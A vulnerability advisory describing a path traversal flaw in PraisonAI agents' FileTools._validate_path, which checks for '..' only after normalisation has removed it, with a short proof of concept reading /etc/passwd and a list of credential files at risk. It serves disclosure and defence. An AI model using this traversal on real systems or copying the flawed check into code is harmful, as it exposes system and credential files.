PYSEC-2026-464

Executive Summary:

The path validation has a critical logic bug: it checks for .. AFTER normpath() has already collapsed all .. sequences. This makes the check completely useless and allows trivial path traversal to any file on the system. The path validation function also does not resolve the symlink wich could potentially cause path traversal.

Details:

_validate_path() calls os.path.normpath() first, which collapses .. sequences, then checks for '..' in normalized. Since .. is already collapsed, the check always passes.

Vulnerable File: src/praisonai-agents/praisonaiagents/tools/file_tools.py

Lines: 42-49

class FileTools:
    """Tools for file operations including read, write, list, and information."""
    
    @staticmethod
    def _validate_path(filepath: str) -> str:
        # Normalize the path
        normalized = os.path.normpath(filepath)
        absolute = os.path.abspath(normalized)
        
        # Check for path traversal attempts (.. after normalization)
        # We check the original input for '..' to catch traversal attempts
        if '..' in normalized:
            raise ValueError(f"Path traversal detected: {filepath}")
        
        return absolute

Severity: CRITICAL

CVSS v3.1: 9.2 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Proof of concept (PoC)

Prerequisites:

• Ability to specify a file path can call file operations

Steps to reproduce: poc.py

 from praisonaiagents.tools.file_tools import FileTools

print(FileTools._validate_path('/tmp/../etc/passwd'))
 # Returns: /etc/passwd

print(FileTools.read_file('/tmp/../etc/passwd'))
# Returns: content of /etc/passwd

Why this works:

# Current vulnerable code:
normalized = os.path.normpath(filepath)  # Collapses .. HERE
absolute = os.path.abspath(normalized)
if '..' in normalized:  # Check AFTER collapse - ALWAYS FALSE!
    raise ValueError(...)

Impact:

• Complete bypass of path traversal protection
• Access to ANY file on the system with path from any starting directory
• Read sensitive files: /etc/passwd, /etc/shadow, ~/.ssh/id_rsa
• Write arbitrary files if combined with write operations
• Affect file operations read_file, write_file, list_files, get_file_info, copy_file, move_file, delete_file, download_file

Additional Notes:

• Fix: Check for '..' in filepath BEFORE calling normpath(), not after
• _validate_path uses os.path.normpath and os.path.abspath, which don't resolve symlinks, making it vulnerable to path traversal via symlink if attacker can control the symlink.